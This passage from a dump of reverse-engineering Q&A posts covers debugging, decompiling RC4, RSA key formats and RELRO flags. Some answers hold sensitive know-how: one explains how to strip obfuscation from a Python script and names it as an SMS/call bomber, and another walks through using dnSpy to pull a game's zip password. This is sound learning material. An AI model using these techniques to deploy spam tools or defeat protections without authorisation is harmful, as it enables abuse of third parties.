you should have quite a bit to go on.</p>\n<p>*special thanks to <a href=\"https://twitter.com/scanlime\" rel=\"nofollow noreferrer\">scanlime</a> for the technique of generating a pgm file for visualizing file entropy:</p>\n<blockquote>\n<p>(echo &quot;P5 512 4096 255&quot;; cat ./avr.fw) &gt; avrfw.pgm</p>\n</blockquote>\n"
    },
    {
        "Id": "27589",
        "CreationDate": "2021-05-01T09:19:13.607",
        "Body": "<p>I want to reverse engineer a program. I managed to find the entry point but every time I want to launch the application I get the same error `During startup program exited with code 126.</p>\n<p>Here is what I did:</p>\n<pre><code>\u250c\u2500\u2500(kali\u327fkali)-[~/Documents/Guessy]\n\u2514\u2500$ gdb guessy\\?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo\nGNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git\nCopyright (C) 2021 Free Software Foundation, Inc.                                                                                                                                                                                            \nLicense GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.\nType &quot;show copying&quot; and &quot;show warranty&quot; for details.\nThis GDB was configured as &quot;x86_64-linux-gnu&quot;.\nType &quot;show configuration&quot; for configuration details.\nFor bug reporting instructions, please see:\n&lt;https://www.gnu.org/software/gdb/bugs/&gt;.\nFind the GDB manual and other documentation resources online at:\n    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.\n\nFor help, type &quot;help&quot;.\nType &quot;apropos word&quot; to search for commands related to &quot;word&quot;...\nReading symbols from guessy?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo...\n(No debugging symbols found in guessy?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo)\n(gdb) break 1\nNo symbol table is loaded.  Use the &quot;file&quot; command.\n(gdb) break 0x0000000000006160\nFunction &quot;0x0000000000006160&quot; not defined.\nMake breakpoint pending on future shared library load? (y or [n]) \n(gdb) run\nStarting program: /home/kali/Documents/Guessy/guessy?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo \nzsh:1: permission denied: /home/kali/Documents/Guessy/guessy?token=eyJ1c2VyX2lkIjoxNDM4LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNjd9.YIyJZA.QQbX2E3vChspI95coiZvSzAwDOo\nDuring startup program exited with code 126.\n</code></pre>\n<p>I found the entrypoint with this:</p>\n<pre><code>\u250c\u2500\u2500(kali\u327fkali)-[~/Documents/Guessy]\n\u2514\u2500$ objdump -f /bin/ls                                                                                                                                                                                                                 130 \u2a2f\n\n/bin/ls:     file format elf64-x86-64\narchitecture: i386:x86-64, flags 0x00000150:\nHAS_SYMS, DYNAMIC, D_PAGED\nstart address 0x0000000000006160\n</code></pre>\n",
        "Title": "startup program exits with code 126 when executing program at entrypoint",
        "Tags": "|x86|gdb|elf|x86-64|",
        "Answer": "<p>The program exiting with code 126 in GDB can occur if the executable file under debug and its sources are in a shared directory in a virtual machine.\nI copied the files in a non-shared directory in the same virtual machine and GDB could debug without errors.</p>\n"
    },
    {
        "Id": "27606",
        "CreationDate": "2021-05-04T03:23:59.430",
        "Body": "<p>i have snippet code that i want to convert to python to understand the types that ghidra use such <code>*(byte *)</code> and <code>*(code *)</code> and <code>*(uchar *)</code> etc..</p>\n<p>the first code:</p>\n<pre><code>void one(int param_1,int param_2) {\n  int local_8;\n  \n  local_8 = 0;\n  while (local_8 &lt; param_2) {\n    *(byte *)(param_1 + local_8) = *(byte *)(param_1 + local_8) ^ 0x50;\n    local_8 = local_8 + 1;\n  }\n  return;\n}\n\nlocal_14 = 0;\nbyte local_12c [256];\nlocal_24 = strlen(param_4);\nlocal_10 = 0;\n\nwhile (local_14 &lt; 0x100) {\n   local_12c[local_14] = (byte)local_14;\n   local_14 = local_14 + 1;\n}\nlocal_18 = 0;\nwhile (local_18 &lt; 0x100) {\n  iVar1 = (int)param_4[local_18 % (int)local_24] + (uint)local_12c[local_18] + local_10;\n  uVar2 = (uint)(iVar1 &gt;&gt; 0x1f) &gt;&gt; 0x18;\n  local_10 = (iVar1 + uVar2 &amp; 0xff) - uVar2;\n  swap(local_12c + local_18,local_12c + local_10);\n  local_18 = local_18 + 1;\n}\n</code></pre>\n<p>writing a python code for this code it will help me a lot to understand the logic that ghidra use with these kind of instructions such as <code>swap(local_12c + local_18,local_12c + local_10);</code> is it a number value ? how to swap a numbers without variables</p>\n",
        "Title": "convert code to python",
        "Tags": "|decompilation|c++|ghidra|python|",
        "Answer": "<p>There are several implementations of python rc4 available in GitHub repositories</p>\n<p>As Already pointed out You need to Cleanup and Rename all those local_xxx names</p>\n<p>in the answer above by @Guillaume it seems he is implying the Array Initialization part as KSA and the KSA as PRGA<br />\nI don't think you have posted the PRGA in your query</p>\n<p>the Array Initialization part can be done with a onliner as below</p>\n<pre><code>S=list(range(256))  \n</code></pre>\n<p>the KSA in the query above contains few junk lines<br />\nwhich can be safely removed for example right shifting a 32bit by 0x1f and then by 0x18 will always result in 0</p>\n<p>so substituting 0 in place of uVar2 you can see local_10 will always be iVar1 so you can simply eliminate the local_10</p>\n<p>and a swap in python can be a tuple exchange<br />\nthe first function in your query is a xor exchange function<br />\nso based on the above premise you can simply recode  in python as below<br />\nthe code below generates two keystreams for two plaintexts</p>\n<pre><code>def one(a,b):\n    i=0\n    while(i&lt;b):\n        a[i] = a[i] ^ 0x50\n        i=i+1\n    return a\nprint(one([1,2,3,4,5],5),&quot;\\n***************************\\n&quot;)\n\n\nS = list(range(256))\nprint(S[0:16])\nKey = [b&quot;Attack at dawn&quot;,b&quot;Defend at Night&quot;]\nk=0\nj=0\ninLen=len(Key)\nfor k in range(0x256):\n    k=( ( k + S[j] + Key[0][j%inLen] ) % 256 )\n    S[j],S[k]=S[k],S[j] \nprint(S[0:16])\nfor k in range(0x256):\n    k=( ( k + S[j] + Key[1][j%inLen] ) % 256 )\n    S[j],S[k]=S[k],S[j] \nprint(S[0:16]) \n</code></pre>\n<p>executing this you should get something like this</p>\n<pre><code>:\\&gt;python conv2py.py\n[81, 82, 83, 84, 85]\n***************************\n\nS_initial    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15] \nS_for_Key[0] [104, 16, 114, 140, 4, 95, 6, 0, 89, 203, 219, 212, 25, 117, 14, 215]\nS_for_Key[1] [199, 217, 227, 209, 193, 123, 190, 75, 189, 161, 153, 168, 111, 92, 152, 203] \n</code></pre>\n"
    },
    {
        "Id": "27608",
        "CreationDate": "2021-05-04T11:22:41.520",
        "Body": "<p>I'm trying to figure out the format/encoding for this:</p>\n<p><code>00040000a56e4a0e701017589a5187dc7ea841d156f2ec0e36ad52a44dfeb1e61f7ad991d8c51056ffedb162b4c0f283a12a88a394dff526ab7291cbb307ceabfce0b1dfd5cd9508096d5b2b8b6df5d671ef6377c0921cb23c270a70e2598e6ff89d19f105acc2d3f0cb35f29280e1386b6f64c4ef22e1e1f20d0ce8cffb2249bd9a2137000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000100040000a56e4a0e70101759a5187dc7ea841d156f2ec0e36ad52a44dfeb1e61f7ad991d8c51056ffedb162b4c0f283a12a88a394dff526ab7291cbb307ceabfce0b1dfd5cd9508096d5b2b8b6df5d671ef6377c0921cb23c270a70e2598e6ff89d19f105acc2d3f0cb35f29280e1386b6f64c4ef22e1e1f20d0ce8cffb2249bd9a2137000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001</code>\nto replicate it with my own public key.</p>\n<p>I've looked at this <a href=\"https://crypto.stackexchange.com/questions/41871/how-to-find-the-encoding-of-an-rsa-public-key\">https://crypto.stackexchange.com/questions/41871/how-to-find-the-encoding-of-an-rsa-public-key</a> and from what I can see there are similarities, though it doesn't seem to be the same as that.</p>\n",
        "Title": "Reversing encoding of a RSA public key",
        "Tags": "|cryptography|",
        "Answer": "<p><code>00040000</code> looks like a 32 bit value representing the length of the data.</p>\n<p>If we decode it in little-endian we get <code>1024</code>:</p>\n<pre><code>sage: int.from_bytes(bytes.fromhex('00040000'), 'little')\n1024\n</code></pre>\n<p>I'm assuming this gives the number of bits that follow; the next 1024 bits (<code>n</code>) are:</p>\n<pre><code>f21a03ef61ad05c0af8d2acf29d3d779c2f73b61aa88533dac358410ac7a08d005dbd6325bb5064eb8afb24e3aef680cfad779d854b7ef97d4f5a1f2f16eb63ebf1b1235f89b65053c01f68a19bcda4183516c20cd907a49301d1314f956fbcc2018e4cfe6991c224d0e177eb11d7fae8477cd6701580754cc116782a0b6b6db\n</code></pre>\n<p>Followed by 1024 bits (<code>e</code>) that are</p>\n<pre><code>0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001\n</code></pre>\n<p>The latter is very likely the exponent, however in big-endian:</p>\n<pre><code>sage: int.from_bytes(bytes.fromhex('00010001'), 'big')\n65537\n</code></pre>\n<p>65537 is a very commonly used exponent.</p>\n<p>Since <code>e</code> is in big-endian, I assume <code>n</code> is too, so your public modulus is:</p>\n<pre><code>sage: int.from_bytes(bytes.fromhex('f21a03ef61ad05c0af8d2acf29d3d779c2f73b61aa88533dac358410ac7a08d005dbd6325bb5064eb8afb24e3aef680cfad779d854b7ef97d4f5a1f2f16eb63ebf1b1235f89b65053c01f68a19bcda4183516c20cd907a49301d1314f956fbcc2018e4cfe6991c224d0e177eb11d7fae8477cd6701580754cc116782a0b6b6db'), 'big')\n170009540932613151769038469988293650218844004053584339002200232194264352712884216925985784801458591501781573072892989116728048997832334682982748978655741179946010134561466243581524386945399240608537896417387019700398948330733836779231824938918338194668413830256507020494474648180467264074322450994971415066331\n</code></pre>\n<p>Then, there is another public key of the same length <code>00040000</code> with the same <code>e</code> <code>00010001</code>.</p>\n<p>It's public modulus is:</p>\n<pre><code>sage: int.from_bytes(bytes.fromhex('af5105fa343e9d8e72294fb8e752a703f54f9b403826f8dd06cf2628ece496806e182ab0e88591f6c0ee7873cb69409e735c62105dd2e28bd45428806836cdb8d94b204ace06d342d24ed824c6988b7db3bd840b50071d291aa4a8cda9187a3f698616fb8ae398f0011a3e38ef31312f07aba316b35858d8e5fe7e7ef8c01209'), 'big')\n123111431213688323191113429717081285154340099011946618199498087171573056754335780131987080307395734064403880657942875702088682210145904820435534801337217797703105810136529933603381871426734823683013576987571192787312359697878601542181638347168216122667608679225431011863788903839101406098646701462875195576841\n</code></pre>\n"
    },
    {
        "Id": "27610",
        "CreationDate": "2021-05-04T13:51:15.380",
        "Body": "<p>I have a WinForm project in C++.<br />\nI attached a kernel debugger to my VMware machine.<br />\nI set a breakpoint on the kernel and switched context to my application:</p>\n<pre><code>0: kd&gt; !process 0 0 WindowsProject1.exe\nPROCESS ffffcf07bad91080\n    SessionId: 1  Cid: 22c8    Peb: dd35f3e000  ParentCid: 1598\n    DirBase: 1b9b83000  ObjectTable: ffffe5829cb59b00  HandleCount: 145.\n    Image: WindowsProject1.exe  \n0: kd&gt; .process ffffcf07bad91080\nImplicit process is now ffffcf07`bad91080\nWARNING: .cache forcedecodeuser is not enabled\n</code></pre>\n<p>I also understand that I can do it like that:</p>\n<pre><code>0: kd&gt; dx -s Debugger.Sessions[0].Processes[8904].SwitchTo()  \n</code></pre>\n<p>Anyway, I want to find the <code>SetWindowTextW</code> function and set a breakpoint on that.<br />\nI tried to find it in the process context:</p>\n<pre><code>0: kd&gt; dd user32!SetWindowTextW\nCouldn't resolve error at 'user32!SetWindowTextW'\n</code></pre>\n<p>Why it doesn't find it?</p>\n",
        "Title": "Can't resolve a function from a process module (user32.dll): \"Couldn't resolve error at '<module>!<function>'\"",
        "Tags": "|debuggers|windbg|",
        "Answer": "<p>After I ran:</p>\n<pre><code>0: kd&gt; .symfix C:\\debug\\symbols\n*** Unable to resolve unqualified symbol in Bp expression 'user32.SetWindowTextW'.\n*** Unable to resolve unqualified symbol in Bp expression 'user32.SetWindowTextW'.\n0: kd&gt; !sym noisy\nnoisy mode - symbol prompts on\n0: kd&gt; .reload /f  \n</code></pre>\n<p>Now I was able to use it:</p>\n<pre><code>0: kd&gt; dd user32!SetWindowTextW\n00007ffc`243c1cb0  245c8948 83485708 8b4830ec 108ae8fa\n00007ffc`243c1cc0  8b480000 c08548d8 8b483c74 035ae8c8\n</code></pre>\n"
    },
    {
        "Id": "27622",
        "CreationDate": "2021-05-05T12:20:10.780",
        "Body": "<p>I am debugging a program that I compiled.<br />\nThis program calls <code>SetWindowTextW</code>.<br />\nWhen I am debugging it with IDA I can step into this function, but it doesn't recognize anything there:<br />\n<a href=\"https://i.stack.imgur.com/53hHR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/53hHR.png\" alt=\"enter image description here\" /></a></p>\n<p>If I will load <code>user32.dll</code> (where the function is exported), I will see all the symbols and functions named, everything.</p>\n<p>Is it possible to load the <code>user32.dll</code> to a process that I am debugging, so I will be able to see what functions it calls.</p>\n<p>You can see the difference, in the left side is when I am debugging my program and access <code>user32.dll</code> and on the right side is when I debug it directly.</p>\n<p><a href=\"https://i.stack.imgur.com/WxKrP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WxKrP.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>Solved (thanks to Igor):</strong><br />\n<a href=\"https://i.stack.imgur.com/pbobm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pbobm.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How to load modules symbols to IDA while debugging a process",
        "Tags": "|ida|windows|debugging|",
        "Answer": "<p>Try \u201cLoad debug symbols\u201d from the context menu in the \u201cModules\u201d list.</p>\n"
    },
    {
        "Id": "27624",
        "CreationDate": "2021-05-05T13:39:02.627",
        "Body": "<p>I added read/write trace to a program. I was able to record the trace with IDA for the first time.<br />\nWhen I run it again, it didn't work.</p>\n<p>I tried to do what I did on the first time, adding the read/write trace, but it show it as gray. I ran <code>Clear trace</code> but it didn't help:<br />\n<a href=\"https://i.stack.imgur.com/3dULg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3dULg.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Can't add tracing in IDA, showing it in gray",
        "Tags": "|ida|windows|debuggers|trace|",
        "Answer": "<p>I needed to put the cursor within the disassembly view (not HEX view), right-click on the disassembly view and then check the option again, it should be available.</p>\n<p><a href=\"https://reverseengineering.stackexchange.com/a/8364/18080\">This answer</a> help me.</p>\n<p>Another thing,<br />\nYou can't trace if the instruction has breakpoint. You need to remove the breakpoint and then assign the trace.</p>\n<p>If you set a function to be traced, and it doesn't print anything, put the cursor on the desired function, on the menu press <code>Debugger -&gt; Tracing -&gt; Function tracing</code>.  Try again.</p>\n<p>You can view all the traces in the breakpoint window by pressing  <code>Ctrl+Alt+B</code>.</p>\n"
    },
    {
        "Id": "27632",
        "CreationDate": "2021-05-07T06:47:30.723",
        "Body": "<p>While disassembling a mips binary, IDA Pro attempts to disassemble into <code>mips 16</code> mode, even though It's <code>mips 32</code> ISA.<br />\nBelow is that code snippet.</p>\n<pre><code>.text:XXXXXXXX       .set nomips16 # &lt;= ??\n.text:XXXXXXXX 3C    .byte 0x3C        \n.text:XXXXXXXX 02    .byte    2\n.text:XXXXXXXX       .set mips16   # &lt;= ??\n.text:XXXXXXXX 80    .byte 0x80\n.text:XXXXXXXX 87    .byte 0x87\n.text:XXXXXXXX 8C    .byte 0x8C\n.text:XXXXXXXX 42    .byte 0x42 \n...\n</code></pre>\n<p>IDA arbitrarily set this as mips16, and repeatedly disassemble here as mips16.<br />\nWhich makes me crazy.</p>\n<p><em><strong>Question:</strong></em><br />\nHow to forcefully disassemble here as <code>mips 32</code> ISA?<br />\n(Manually? or Automatically using IDA Plugins?)</p>\n",
        "Title": "IDA Pro, How to forcefully disassemble \"mips 32\" instead of \"mips 16\"?",
        "Tags": "|ida|binary|mips|",
        "Answer": "<p>Two options:</p>\n<ol>\n<li>at the <code>.set mips16</code> line, press <kbd>Alt-G</kbd>, choose mips16 and set the value to 0.<br />\n<a href=\"https://i.stack.imgur.com/oaiqY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oaiqY.png\" alt=\"enter image description here\" /></a></li>\n<li>Press <kbd>Ctrl-G</kbd> to display the list of segment register changepoints, pick the mips16 list and delete the wrong entries with value of 1.\n<a href=\"https://i.stack.imgur.com/39Wni.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/39Wni.png\" alt=\"enter image description here\" /></a></li>\n</ol>\n<p>Note: it's best that there are no existing instructions at the addresses where you change the mips16 pseudoregister value, so it is recommended to undefine those areas first then recreate the instructions in proper ISA.</p>\n"
    },
    {
        "Id": "27635",
        "CreationDate": "2021-05-07T13:45:26.057",
        "Body": "<p>How can I Deobfuscate this python code</p>\n<p><a href=\"https://gist.github.com/charindithjaindu/abd5dd2e04827e8818732664d514f4d3\" rel=\"nofollow noreferrer\">Link to code</a></p>\n<p>I tried to replace eval places by print. but it won't work and output is also obfuscated</p>\n<p>Head of the code looks like this\n<a href=\"https://i.stack.imgur.com/c8nhA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/c8nhA.png\" alt=\"Head of the code looks like this\" /></a></p>\n<p>can anyone please help me</p>\n",
        "Title": "How can I reverse this python code (obfuscated by b64, gzip and many more)",
        "Tags": "|python|obfuscation|",
        "Answer": "<p>You're on the right track with replacing <code>exec</code> with <code>print</code>, you just didn't go deep enough.</p>\n<p>The file you posted is, effectively, 7 python commands each wrapped up in a bunch of obfuscation (not including the initial import statement). If you deobfuscate each command by printing the result, the first one results in an import statement and a set of 4 more obfuscated python instructions (the rest of the lines result in junk or <code>pass</code> statements, as far as I can tell).</p>\n<p>Now, if you do the same thing for the resulting 4 obfuscated python instructions from above, you get one more valid python instruction and 3 junk instructions. In this case, the third instruction was the one that gives valid code.</p>\n<p>If you take this code and run it, you end up with another import statement and 3 obfuscated instructions. Repeat the process and the second instruction will spit out the (mostly) deobfuscated code.</p>\n<p>It looks like it's meant to spam SMS messages or phone calls to Sri Lankan telephone numbers as a prank. I believe it came from <a href=\"https://github.com/Sl-Sanda-Ru/Sl-Bomber\" rel=\"nofollow noreferrer\">https://github.com/Sl-Sanda-Ru/Sl-Bomber</a> based on comments in the deobfuscated code. The commit history and some revisions to the README for the project seem to indicate that the author obfuscated the code because people were making trivial modifications and abusing it (go figure). If you want to see what it's doing, the commit history has deobfuscated versions of the older code; it doesn't look all that different from the deobfuscated code you posted.</p>\n"
    },
    {
        "Id": "27640",
        "CreationDate": "2021-05-08T13:52:31.820",
        "Body": "<p>I have two versions of an app: one version compiled for ARM64 iOS, and the other for ARM32 Android. I'm working on the ARM64 version, but it has almost all of its symbols stripped. The ARM32 version is not stripped at all, so has all of the symbol names left intact.</p>\n<p>Up to now I have been using two Binary Ninja tabs for each version of the game, and have found symbol names for the ARM64 version by finding the same function in the ARM32 tab and then transferring symbol names that I see. However, this is slow and annoying, so I've started looking for a possible way of matching up symbols by comparing the binaries. This sounds like a difficult problem to solve, and I would settle for even a partial job (such as a tool that only transfers things that it is certain about, which leaves me to decipher some of the more complicated parts).</p>\n<p>I think I'm being a bit hopeful here, but I figured it was worth asking just in case somebody has done this before.</p>\n",
        "Title": "(Partial?) Automation of transferring symbol names between architectures",
        "Tags": "|symbols|",
        "Answer": "<p>I think <a href=\"https://github.com/joxeankoret/diaphora\" rel=\"nofollow noreferrer\">Diaphora</a> supports cross architecture binary diffing so that could be an additional option to try.</p>\n"
    },
    {
        "Id": "27641",
        "CreationDate": "2021-05-08T14:26:27.343",
        "Body": "<p>I bought a game, &quot;They are billions&quot;, and I'm trying to edit a savegame on my singleplayer campaign to change some vars (cheating because im very bad player). But the file is a password protected zip.</p>\n<p>All i can saw is that the zip is AES protected.</p>\n<p>I have downloaded x64bg to try to debug the moment when the program accesses the file with a password, but the truth is that I am totally new to debuggers and it is the first time that I have used a debugger.</p>\n<p>Any idea on how can i get the password for the savegame file?</p>\n<p>My interest is mainly in learning how to do it rather than in obtaining the password itself.</p>\n<p>Thanks for all</p>\n",
        "Title": "Get Zip password used by application",
        "Tags": "|debugging|",
        "Answer": "<p>Finally i found the passwords using a disassemble like multithr3at3d say.</p>\n<p>If anyone is interested on how i do:</p>\n<ul>\n<li>Download dnsSpy from <a href=\"https://github.com/dnSpy/dnSpy\" rel=\"nofollow noreferrer\">https://github.com/dnSpy/dnSpy</a></li>\n<li>Open the game binary and ionic.Zip.dll in dnsSpy</li>\n<li>Mark a breakpoint on ionic.zip on class ZipCrypto in method ForRead</li>\n<li>Start debugging (F5)</li>\n<li>When the game starts on debugging and the execution pause on breakpoint, check the name of the file on zipEntry e. The password is on var password.</li>\n</ul>\n<p>You can get the savegame password and the passwords for other files like ZXRules.dat. On ZXRules.dat you can change game unit parameters. Remember to zip the xml with same password.</p>\n"
    },
    {
        "Id": "27667",
        "CreationDate": "2021-05-16T05:30:45.627",
        "Body": "<p>How to make ghidra display the actual offset from rbp in assembly? For the same program, ghidra shows  <code>mov dword [rbp + local_c], edi</code>\nI want to see the actual offset from rbp instead of <code>local_c</code></p>\n<p>In assembly, the actual instruction is:\n<code>mov dword [rbp-0x04], edi</code></p>\n<p>so offset is <code>-0x04</code></p>\n<p><a href=\"https://i.stack.imgur.com/j760G.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/j760G.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How to make ghidra display the real offset from rbp",
        "Tags": "|disassembly|ghidra|",
        "Answer": "<p>The offsets are listed at the top of the function:</p>\n<p><a href=\"https://i.stack.imgur.com/YuXTt.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/YuXTt.png\" alt=\"Ghidra Local Variables offsets\" /></a></p>\n<p>You can also hover over the local variable name for a few seconds to see a popup with the offset.</p>\n<p>If you want to permanently disable the variable offset translation, uncheck <code>Markup Stack Variable References</code> under <code>Edit -&gt; Tool Options -&gt; Options -&gt; Listing Fields -&gt; Operands Fields</code>.</p>\n"
    },
    {
        "Id": "27674",
        "CreationDate": "2021-05-17T12:16:29.123",
        "Body": "<p>In short, I have a code that gets an input via stdin. Once it has the input string in memory, it verifies its integrity by calling a function for every condition, and <code>exit</code>ing the program if those conditions are not met.</p>\n<p>There are 20 of those verifications, and I do not think it is efficient to reverse it manually considering the first is (according to Ghidra disassemblying), being <code>param1 = (long) input;</code> and <code>input</code> = the 32-byte array in which the input is stored,</p>\n<pre><code>void verify1(long param_1){\n    if ((int)*(char *)(param_1 + 4) * (int)*(char *)(param_1 + 0xf) - (int)*(char *)(param_1 + 0xd) !=\n      0x349f) {\n        exit(-1);\n      }\n    return;\n}\n</code></pre>\n<p>I think a program or plugin to automate this would be useful. However, I could not find anything useful at all.</p>\n",
        "Title": "How to get the input necessary to get to the end",
        "Tags": "|binary-analysis|linux|c|ghidra|",
        "Answer": "<p>trying to tackle it with pencil and paper</p>\n<p>a common pattern pattern noticeable is<br />\n(int)*(char *)(param_1 + x)  which is equivalent to param_1[x] (unsigned char Array access)</p>\n<p>so if you pass an array like</p>\n<pre><code>char param_1[] ={ 0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf}; \n</code></pre>\n<p>then the function will multiply param_1[4] * param_1[0xf] and subtract param_1[0xd]\nor actually 4*0xf-0xd = 0x2f</p>\n<p>since we know it is a char so any of these values can be only with 0 to 255</p>\n<p>so the equation is a * b = 0x349f+c where a,b,c can only be between 0 and 255 or rather 1 and 255 as multiplication by 0 is 0</p>\n<p>simply brute forcing you have a possible 215 key space for next round</p>\n<pre><code>def brute1(x):    \n    for divisor in range(1, x + 1):\n        rem = (x % divisor)\n        quo = (x / divisor)\n        if ( (rem == 0) and (quo &lt; 128) and (divisor&lt;255) ):\n            print(&quot;a = %3d        b = %3d          c = %3d\\t&quot; % \n            (divisor,quo,((divisor*quo)-0x349f)))\n            \nprint (&quot;a = param_1[4] b = param_1[0xf] c = param_1[0xd]&quot;)            \nfor i in range(0x349f,(0x349f+0xff),1):    \n    brute1(i)\n</code></pre>\n<p>some possible chars</p>\n<pre><code>python verify.py | wc -l\n216\npython verify.py | head -n 5\na = param_1[4] b = param_1[0xf] c = param_1[0xd]\na = 175        b =  77          c =   4\na = 245        b =  55          c =   4\na = 221        b =  61          c =  10\na = 107        b = 126          c =  11\n</code></pre>\n<p>with this in hand you can possibly lift the function and dump it into a  c maybe for testing a set of key lets say (55,245,4)</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nvoid verify1(unsigned char *param_1)\n{\n    if (\n        (int)*(unsigned char *)(param_1 + 4) *\n                (int)*(unsigned char *)(param_1 + 0xf) -\n            (int)*(unsigned char *)(param_1 + 0xd) !=\n        0x349f)\n    {\n        exit(-1);\n    }\n    return;\n}\n\nint main(void)\n{\n    unsigned char param_1[] = {0, 0, 0, 0, 55, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 245};\n    verify1(param_1);\n    printf(&quot;we passed verify1\\n&quot;);\n}\n</code></pre>\n<p>compiling and executing</p>\n<pre><code>cl /Zi /W4 /analyze /Od /nologo verify.cpp /link /release\nverify.cpp\n\nverify.exe\nwe passed verify1\n</code></pre>\n"
    },
    {
        "Id": "27680",
        "CreationDate": "2021-05-18T11:13:54.407",
        "Body": "<p>My doubt is how to compile the binary without <code>RELRO</code>? and why it is enabling FULL-RELRO when we are not providing any flags?</p>\n<p>This is the code.</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main(int argc, int *argv[])\n{\n    size_t *p = (size_t *) strtol(argv[1], NULL, 16);\n    p[0] = 0xDEADBEEF;\n    printf(&quot;RELRO: %p\\n&quot;, p);\n    return 0;\n}\n</code></pre>\n<p>While compiling the above code with the parameters:</p>\n<pre><code>$ gcc -g -Wl,-z,relro -o test test.c\n</code></pre>\n<p>And running the <code>checksec</code> on the generated binary:</p>\n<pre><code>RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable  FILE\nPartial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   69 Symbols     No   0       1   test\n</code></pre>\n<p>Compiling with the following command:</p>\n<pre><code>$ gcc -g -Wl,-z,relro,-z,now -o test test.c\n</code></pre>\n<p>And running the <code>checksec</code> on generated binary:</p>\n<pre><code>RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable  FILE\nFull RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   71 Symbols     No   0       1   test-full\n</code></pre>\n<p>While compiling with the command:</p>\n<pre><code>$ gcc -o test test.c\n</code></pre>\n<p>And running the <code>checksec</code> on the generated binary:</p>\n<pre><code>RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable  FILE\nFull RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   66 Symbols     No   0       1   test\n</code></pre>\n",
        "Title": "How to disable relro while compilation?",
        "Tags": "|elf|compilers|gcc|security|",
        "Answer": "<p>To enable full relro:</p>\n<pre><code>-Wl, -z,relro,-z,now\n</code></pre>\n<p>What does this do? - it provides <code>-z,relro,-z,now</code> flag to linker as an argument. This enables full relro (notice <code>-z,now</code> flag).</p>\n<p>Partial relro is enabled by default on modern gcc compilers.</p>\n<p>How to disable relro? Pass following flag</p>\n<pre><code>-Wl,-z,norelro\n</code></pre>\n<p>Difference between full and partial relro: partial relro makes partial .got section (non .plt) section read-only and changes the alignment order sections making <code>.got</code> section appear before and data sections (<code>.bss</code>, '.data') and makes , while full relro makes complete <code>.got</code> section read-only (including .got.plt) and also reorders sections like in partial relro (incurring startup overhead).</p>\n"
    },
    {
        "Id": "27688",
        "CreationDate": "2021-05-20T10:58:29.707",
        "Body": "<p>I copy image files here from a linux based system which ends with .bin.</p>\n<p>Unfortunately I don't know how to open it. The goal is to convert images to this format later.</p>\n<p><strong>What I have already tried:</strong></p>\n<ul>\n<li>Open the File with a RAW image Viewer <em><strong>(was not successful)</strong></em>.</li>\n<li>looked at the files with the Hex Editor to find out information about the structure <em><strong>(was not successful)</strong></em>.</li>\n<li>to make sure that these are the images from the menu, I swapped 2 files with each other (swap the file name) <em><strong>(has worked)</strong></em>.</li>\n</ul>\n<p><em><strong>This is how it looks on the device:</strong></em></p>\n<p><a href=\"https://i.stack.imgur.com/N9kg3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/N9kg3.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>I have uploaded the two files here.</strong></p>\n<p><a href=\"https://drive.google.com/file/d/1WXbuqT7B-_1OdHZjScmWMKHKxfEUzta7/view?usp=sharing\" rel=\"nofollow 